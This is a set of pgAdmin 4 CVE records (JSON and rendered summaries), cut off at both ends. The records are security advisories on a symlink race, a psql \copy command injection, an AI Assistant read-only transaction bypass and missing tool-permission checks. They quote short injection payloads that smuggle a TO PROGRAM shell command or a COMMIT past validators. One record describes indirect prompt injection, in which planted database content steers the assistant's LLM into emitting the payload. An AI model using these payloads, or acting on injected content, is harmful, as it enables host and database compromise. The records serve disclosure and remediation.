"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/file_manager/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.18",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "sec-rex \u003csecrex837@gmail.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s File Manager save_file endpoint, which backs saving from the Query Tool and ERD, validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call. CVE-2026-7819 had previously hardened the separate file upload path by opening its target with O_NOFOLLOW, so that the kernel refuses to follow a symbolic link at the final path component, but save_file was left on an unprotected open(). A symbolic link already present when the check ran was rejected by the check itself; the remaining exposure was a link substituted at the final path component in the interval between the check and the write, at which point the write followed the link and landed outside the user\u0027s storage directory, creating or overwriting an arbitrary file as the operating-system account running pgAdmin.\n\nExploitation requires the ability to create or replace a symbolic link inside the requesting user\u0027s storage directory. pgAdmin exposes no interface that creates symbolic links, so this requires filesystem access to the pgAdmin host or to a shared or network-mounted storage backend, together with winning the timing window. The reporter did not achieve a write against a released version, having attempted approximately 63,000 racing requests without success; the reported defect is the uncovered write path rather than a demonstrated sandbox escape.\n\nThe fix routes save_file\u0027s write through the same O_NOFOLLOW-protected helper already used by the upload path, so both File Manager write sinks carry identical kernel-enforced protection, and reports a symbolic-link refusal explicitly instead of surfacing the underlying system error text. Note that files created by save_file are now given mode 0600, inheriting the behaviour introduced for uploads. The protection covers the final path component; substitution of an intermediate directory component is not addressed by this change.\n\nThis issue affects pgAdmin 4: from the introduction of the containment check in the File Manager save path before 9.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an authenticated pgAdmin user who can also create or replace a symbolic link inside their own File Manager storage directory, which requires filesystem access to the pgAdmin host or to a shared or network-mounted storage backend, since pgAdmin exposes no primitive that creates symbolic links. Attack Complexity is High: the attacker must both obtain that separate primitive and win a narrow race between the containment check and the write, and the reporter did not succeed in approximately 63,000 attempts against a released version. Integrity is High because a successful write creates or overwrites an arbitrary file as the account running pgAdmin. Confidentiality is None, as the flaw permits writing but not reading. Availability is Low, reflecting that a chosen file may be clobbered without a general loss of service. Scope is Unchanged, consistent with the equivalent argument-injection write path, because the write occurs with the authority pgAdmin already holds."
}
]
},
{
"cvssV4_0": {
"baseScore": 6,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P records that exploitation depends on a race condition the attacker does not control and on a symbolic-link primitive obtained outside pgAdmin. VI:H for arbitrary file creation and overwrite as the pgAdmin account, VC:N because nothing is read, VA:L for the loss of a clobbered file. SC:N/SI:N/SA:N because no distinct subsequent system is compromised by the flaw itself."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-367",
"description": "CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-59",
"description": "CWE-59 Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:30:51.232Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10385"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: File Manager save_file writes through a symbolic link planted after the containment check"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-86861",
"datePublished": "2026-09-17T15:30:51.232Z",
"dateReserved": "2026-09-08T15:47:04.229Z",
"dateUpdated": "2026-09-17T19:18:18.115Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17566 (GCVE-0-2026-17566)
Vulnerability from cvelistv5
Published
2026-07-31 16:00
Modified
2026-08-01 03:56
Severity ?
9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's Import/Export Data tool builds a psql \copy (...) command line by interpolating a user-supplied SQL query into a Jinja template and passing the rendered line to psql via --command. To stop an attacker from breaking out of the (...) wrapper, create_import_export_job() (route POST /import_export/job/<sid>, gated only by the ordinary, commonly-granted tools_import_export_data permission) validated the query with a hand-written parenthesis-balance checker, _is_query_parens_balanced(). That checker always treated a backslash before a single quote (\') as escaping the quote, i.e. as if standard_conforming_strings were off. PostgreSQL has defaulted standard_conforming_strings to on since 9.1 (2010), the default on every PostgreSQL version pgAdmin 4 currently supports (13-18); under that default psql's own \copy tokenizer treats \ as an ordinary character, so a single quote immediately after it closes the string literal. A query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' was therefore accepted as "balanced" by pgAdmin's checker (which believed the ) was still inside the string), while psql, run through the actual rendered command line, closes the string at that point and treats the following ) as the end of the wrapping \copy (...) subquery, exposing an attacker-chosen TO PROGRAM '<command>' clause that psql executes via popen() -- independent of a subsequent syntax error later on the same line. This is the same class of bug as CVE-2025-12762/CVE-2025-13780 (RCE via psql meta-command/COPY injection during PLAIN-format dump restore), reached through an independently written defense in a different module (Import/Export Data rather than Restore) that had its own, different logic bug (inverted backslash-escape semantics rather than a BOM-defeated regex anchor).
The fix rejects any backslash inside a single-quoted string in the query outright, rather than picking one of the two possible psql interpretations. This is intentionally conservative: because the correct interpretation of \ depends on the target server's standard_conforming_strings setting, which the checker cannot reliably know at validation time, refusing the query is safer than guessing.
This issue affects pgAdmin 4: from the introduction of _is_query_parens_balanced() before 9.18.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.18 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17566",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-01T03:56:13.838Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Import/Export Data"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/import_export/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.18",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Arpit Jain (arpitjain099)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s Import/Export Data tool builds a psql \\copy (...) command line by interpolating a user-supplied SQL query into a Jinja template and passing the rendered line to psql via --command. To stop an attacker from breaking out of the (...) wrapper, create_import_export_job() (route POST /import_export/job/\u003csid\u003e, gated only by the ordinary, commonly-granted tools_import_export_data permission) validated the query with a hand-written parenthesis-balance checker, _is_query_parens_balanced(). That checker always treated a backslash before a single quote (\\\u0027) as escaping the quote, i.e. as if standard_conforming_strings were off. PostgreSQL has defaulted standard_conforming_strings to on since 9.1 (2010), the default on every PostgreSQL version pgAdmin 4 currently supports (13-18); under that default psql\u0027s own \\copy tokenizer treats \\ as an ordinary character, so a single quote immediately after it closes the string literal. A query such as SELECT \u0027a\\\u0027) TO PROGRAM \u0027echo pwned\u0027 x\u0027 was therefore accepted as \"balanced\" by pgAdmin\u0027s checker (which believed the ) was still inside the string), while psql, run through the actual rendered command line, closes the string at that point and treats the following ) as the end of the wrapping \\copy (...) subquery, exposing an attacker-chosen TO PROGRAM \u0027\u003ccommand\u003e\u0027 clause that psql executes via popen() -- independent of a subsequent syntax error later on the same line. This is the same class of bug as CVE-2025-12762/CVE-2025-13780 (RCE via psql meta-command/COPY injection during PLAIN-format dump restore), reached through an independently written defense in a different module (Import/Export Data rather than Restore) that had its own, different logic bug (inverted backslash-escape semantics rather than a BOM-defeated regex anchor).\n\nThe fix rejects any backslash inside a single-quoted string in the query outright, rather than picking one of the two possible psql interpretations. This is intentionally conservative: because the correct interpretation of \\ depends on the target server\u0027s standard_conforming_strings setting, which the checker cannot reliably know at validation time, refusing the query is safer than guessing.\n\nThis issue affects pgAdmin 4: from the introduction of _is_query_parens_balanced() before 9.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: same as CVE-2025-12762/13780. An authenticated pgAdmin user (server mode) holding only the ordinary, routinely-granted \"Import/Export Data\" tool permission (tools_import_export_data) -- not an admin-only permission -- submits a single crafted POST to /import_export/job/\u003csid\u003e with is_query_export true and a query field containing the payload. No further user interaction, no special server-side configuration, and no elevated pgAdmin role is required. Successful exploitation runs an arbitrary OS command as the pgAdmin application server\u0027s service account, which is a privilege escalation beyond anything the Import/Export Data permission is meant to grant (database-query access, not host command execution) -- Scope Changed. Impact is full compromise of the pgAdmin host (C/I/A: High)."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: network-reachable, low privilege required, no user interaction, host RCE compromises both pgAdmin\u0027s own authority (SC/SI/SA: High) and the underlying system data/integrity/availability (VC/VI/VA: High)."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-115",
"description": "CWE-115 Misinterpretation of Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T16:00:22.738Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10213"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/1496fabe28c9f825f6bac0f0d000d9d3276322c3"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: RCE via backslash-escape mismatch in Import/Export Data query guard (incomplete defense, sibling gap to CVE-2025-13780)"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17566",
"datePublished": "2026-07-31T16:00:22.738Z",
"dateReserved": "2026-07-27T14:43:12.802Z",
"dateUpdated": "2026-08-01T03:56:13.838Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17351 (GCVE-0-2026-17351)
Vulnerability from cvelistv5
Published
2026-07-31 16:00
Modified
2026-08-01 03:56
Severity ?
9.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
VLAI Severity ?
EPSS score ?
CWE
Summary
The fix for CVE-2026-12045 in pgAdmin 4 9.16 required the LLM-supplied query passed to the AI Assistant's execute_sql_query tool to parse, via sqlparse, as exactly one non-transaction-control statement before running it inside a BEGIN TRANSACTION READ ONLY wrapper. sqlparse's string-literal lexing can disagree with PostgreSQL's own parser: under standard_conforming_strings = on (PostgreSQL's default since 9.1), a backslash immediately before a quote is an ordinary character to PostgreSQL, but sqlparse treats it as escaping the quote. A payload such as SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --' therefore parses as a single SELECT to sqlparse's validator, while PostgreSQL executes it as four statements: the smuggled COMMIT ends the wrapping read-only transaction, and the trailing ROLLBACK becomes a no-op. This reintroduces the same write/RCE bypass CVE-2026-12045 was meant to close, reachable via the same indirect prompt-injection delivery (an attacker plants the payload in any object the AI Assistant may read; the LLM emits it as a tool call).
An initial candidate fix ran the query with psycopg's execute(..., prepare=True), intending to force PostgreSQL's own Parse step (extended query protocol) to reject multi-statement text regardless of sqlparse's classification. This candidate fix does not work as submitted: psycopg3's PrepareManager silently ignores the prepare argument whenever the connection's prepare_threshold is None, which is pgAdmin's default for every server connection (the per-server "Prepare threshold" field is blank unless an administrator explicitly sets it) -- psycopg3 falls back to the simple query protocol, the same multi-statement-capable path the bypass exploits, so the candidate fix closes nothing on any real-world default configuration.
The corrected fix sets conn.prepare_threshold = 0 directly on the dedicated, single-use read-only connection the AI Assistant tool opens, structurally forcing the extended query protocol independent of any server-level configuration. Verified against a live PostgreSQL 18 instance: the payload executes successfully under the prepare_threshold=None (default) behavior, and is rejected with "cannot insert multiple commands into a prepared statement" once prepare_threshold=0 is set on that connection.
This issue affects pgAdmin 4: from 9.13 before 9.17.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 9.13 < 9.17 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17351",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-01T03:56:14.973Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"AI Assistant",
"LLM Tools"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/llm/tools/database.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "9.13",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Kai Aizen (SnailSploit)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "The fix for CVE-2026-12045 in pgAdmin 4 9.16 required the LLM-supplied query passed to the AI Assistant\u0027s execute_sql_query tool to parse, via sqlparse, as exactly one non-transaction-control statement before running it inside a BEGIN TRANSACTION READ ONLY wrapper. sqlparse\u0027s string-literal lexing can disagree with PostgreSQL\u0027s own parser: under standard_conforming_strings = on (PostgreSQL\u0027s default since 9.1), a backslash immediately before a quote is an ordinary character to PostgreSQL, but sqlparse treats it as escaping the quote. A payload such as SELECT \u0027\\\u0027;COMMIT;CREATE TABLE pwn(x int);SELECT 1 --\u0027 therefore parses as a single SELECT to sqlparse\u0027s validator, while PostgreSQL executes it as four statements: the smuggled COMMIT ends the wrapping read-only transaction, and the trailing ROLLBACK becomes a no-op. This reintroduces the same write/RCE bypass CVE-2026-12045 was meant to close, reachable via the same indirect prompt-injection delivery (an attacker plants the payload in any object the AI Assistant may read; the LLM emits it as a tool call).\n\nAn initial candidate fix ran the query with psycopg\u0027s execute(..., prepare=True), intending to force PostgreSQL\u0027s own Parse step (extended query protocol) to reject multi-statement text regardless of sqlparse\u0027s classification. This candidate fix does not work as submitted: psycopg3\u0027s PrepareManager silently ignores the prepare argument whenever the connection\u0027s prepare_threshold is None, which is pgAdmin\u0027s default for every server connection (the per-server \"Prepare threshold\" field is blank unless an administrator explicitly sets it) -- psycopg3 falls back to the simple query protocol, the same multi-statement-capable path the bypass exploits, so the candidate fix closes nothing on any real-world default configuration.\n\nThe corrected fix sets conn.prepare_threshold = 0 directly on the dedicated, single-use read-only connection the AI Assistant tool opens, structurally forcing the extended query protocol independent of any server-level configuration. Verified against a live PostgreSQL 18 instance: the payload executes successfully under the prepare_threshold=None (default) behavior, and is rejected with \"cannot insert multiple commands into a prepared statement\" once prepare_threshold=0 is set on that connection.\n\nThis issue affects pgAdmin 4: from 9.13 before 9.17."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: identical to CVE-2026-12045 -- indirect prompt injection. An attacker with low-privilege DB write access plants a payload in any object the AI Assistant might read (table row, column value, comment). When a pgAdmin user with a higher-privilege database role (typically superuser or holder of pg_execute_server_program) opens the AI Assistant against that content, the LLM emits the lexer-differential payload as a tool call, which smuggles a COMMIT past the intended read-only guard and can chain to COPY ... TO PROGRAM for OS code execution. Scored identically to the original CVE-2026-12045 record for consistency, since this is the same vulnerability surviving an incomplete fix rather than a functionally different bug: S:C for the confused-deputy pattern (attacker is not the LLM user; third-party DB content steers the user\u0027s own LLM session into unauthorised writes)."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry and as the original CVE-2026-12045 record: indirect prompt injection, third-party content drives the user\u0027s LLM session, COPY ... TO PROGRAM reaches the DB host. VC:H/VI:H/VA:H + SC:H/SI:H/SA:H since RCE on the DB host compromises both pgAdmin\u0027s authority and the downstream system. UI:P captures that the user merely uses the AI Assistant normally."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-89",
"description": "CWE-89 Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-115",
"description": "CWE-115 Misinterpretation of Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T16:00:19.103Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10192"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/ef76102bcd1cdb544eb9b4ef18d3382f22b76752"
},
{
"tags": [
"related"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/bf4792444446f0e7ab721d23cbd6bfe6afaa7a8b"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: AI Assistant read-only transaction bypass via sqlparse/PostgreSQL lexer disagreement (incomplete fix for CVE-2026-12045)"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17351",
"datePublished": "2026-07-31T16:00:19.103Z",
"dateReserved": "2026-07-25T02:52:57.350Z",
"dateUpdated": "2026-08-01T03:56:14.973Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17350 (GCVE-0-2026-17350)
Vulnerability from cvelistv5
Published
2026-07-31 16:00
Modified
2026-07-31 17:05
Severity ?
5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
5.3 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
5.3 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
- CWE-862 - Missing Authorization
Summary
The per-tool permission system (custom roles / role-based tool permissions, introduced in pgAdmin 4 9.3) did not enforce its permission check consistently. In SERVER mode, pgAdmin 4 gates each tool behind a per-tool Flask-Security permission, but the permission decorator (permissions_required) was applied only to a single "front door" route per tool. Every other backend route and Socket.IO handler in that tool's workflow relied solely on pga_login_required/socket_login_required, which check authentication but not the tool permission.
The reporter verified three cases against a test build: (1) a user without tools_query_tool permission received 403 on the protected sqleditor initialization route, but the same session went on to connect the server, initialize the viewdata backend chain, and retrieve real table row content; (2) a user without tools_grant_wizard received 403 on the protected acl route, but the same session still enumerated grantable objects, generated GRANT SQL, and successfully applied it -- confirmed database-side via has_table_privilege(); (3) a user without tools_schema_diff received 403 on the protected panel route, but the same session initialized schema diff, enumerated and connected databases, and obtained real DDL differences via the compare_database Socket.IO handler. The reporter also confirmed a related but distinct issue: a non-owner triggering /misc/workspace/adhoc_connect_server against an administrator-owned shared server caused pgAdmin to persist a new server row still owned by the administrator (user_id/shared unchanged from the source), even though the connection attempt itself reported failure.
During remediation, the same front-door-only permission gap was found to also affect the ERD, PSQL, and Debugger tools, and the Backup, Restore, Maintenance, and Import/Export blueprints, none of which were part of the original report; these were fixed using the same pattern as an extension of the reported defect class.
An authenticated user who had valid pgAdmin login and a stored, working database connection, but had been explicitly denied a specific tool's permission by an administrator, could therefore still drive that tool end-to-end through its other routes and sockets, including obtaining an interactive psql session over the /pty Socket.IO namespace and invoking backup/restore/maintenance/import-export jobs.
Because the bypass only restores access to tools operating over the user's own already-authenticated database connection, it does not grant the user any database privilege they did not already hold; it circumvents pgAdmin's own tool-level access-control policy (an organisational segregation-of-duties control, separate from database-level authorization), letting a user reach a pgAdmin feature an administrator intended to withhold from them, using capabilities their existing database role already permits through other means.
Socket.IO event handlers had no permission-aware equivalent of permissions_required; only socket_login_required existed, checking authentication but not the tool permission.
Fix adds a socket_permissions_required decorator (mirroring permissions_required, honouring the Administrator bypass, reading permissions via has_permission()) and applies it, alongside permissions_required, as the outermost decorator on every backend route and Socket.IO handler for the affected tools. Regression tests assert 403 on every gated route and socket handler for a permission-less user.
This issue affects pgAdmin 4 in SERVER mode: from 9.3 before 9.17.
References
| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 9.3 < 9.17 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17350",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T17:01:15.662893Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T17:05:44.535Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Query Tool",
"Grant Wizard",
"Schema Diff",
"ERD Tool",
"PSQL Tool",
"Debugger",
"Backup",
"Restore",
"Maintenance",
"Import/Export"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/authenticate/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/sqleditor/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/grant_wizard/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/schema_diff/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/erd/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/psql/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/debugger/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/backup/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/restore/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/maintenance/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/import_export/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "9.3",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "LXY (@TA-MU-TA)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "The per-tool permission system (custom roles / role-based tool permissions, introduced in pgAdmin 4 9.3) did not enforce its permission check consistently. In SERVER mode, pgAdmin 4 gates each tool behind a per-tool Flask-Security permission, but the permission decorator (permissions_required) was applied only to a single \"front door\" route per tool. Every other backend route and Socket.IO handler in that tool\u0027s workflow relied solely on pga_login_required/socket_login_required, which check authentication but not the tool permission.\n\nThe reporter verified three cases against a test build: (1) a user without tools_query_tool permission received 403 on the protected sqleditor initialization route, but the same session went on to connect the server, initialize the viewdata backend chain, and retrieve real table row content; (2) a user without tools_grant_wizard received 403 on the protected acl route, but the same session still enumerated grantable objects, generated GRANT SQL, and successfully applied it -- confirmed database-side via has_table_privilege(); (3) a user without tools_schema_diff received 403 on the protected panel route, but the same session initialized schema diff, enumerated and connected databases, and obtained real DDL differences via the compare_database Socket.IO handler. The reporter also confirmed a related but distinct issue: a non-owner triggering /misc/workspace/adhoc_connect_server against an administrator-owned shared server caused pgAdmin to persist a new server row still owned by the administrator (user_id/shared unchanged from the source), even though the connection attempt itself reported failure.\n\nDuring remediation, the same front-door-only permission gap was found to also affect the ERD, PSQL, and Debugger tools, and the Backup, Restore, Maintenance, and Import/Export blueprints, none of which were part of the original report; these were fixed using the same pattern as an extension of the reported defect class.\n\nAn authenticated user who had valid pgAdmin login and a stored, working database connection, but had been explicitly denied a specific tool\u0027s permission by an administrator, could therefore still drive that tool end-to-end through its other routes and sockets, including obtaining an interactive psql session over the /pty Socket.IO namespace and invoking backup/restore/maintenance/import-export jobs.\n\nBecause the bypass only restores access to tools operating over the user\u0027s own already-authenticated database connection, it does not grant the user any database privilege they did not already hold; it circumvents pgAdmin\u0027s own 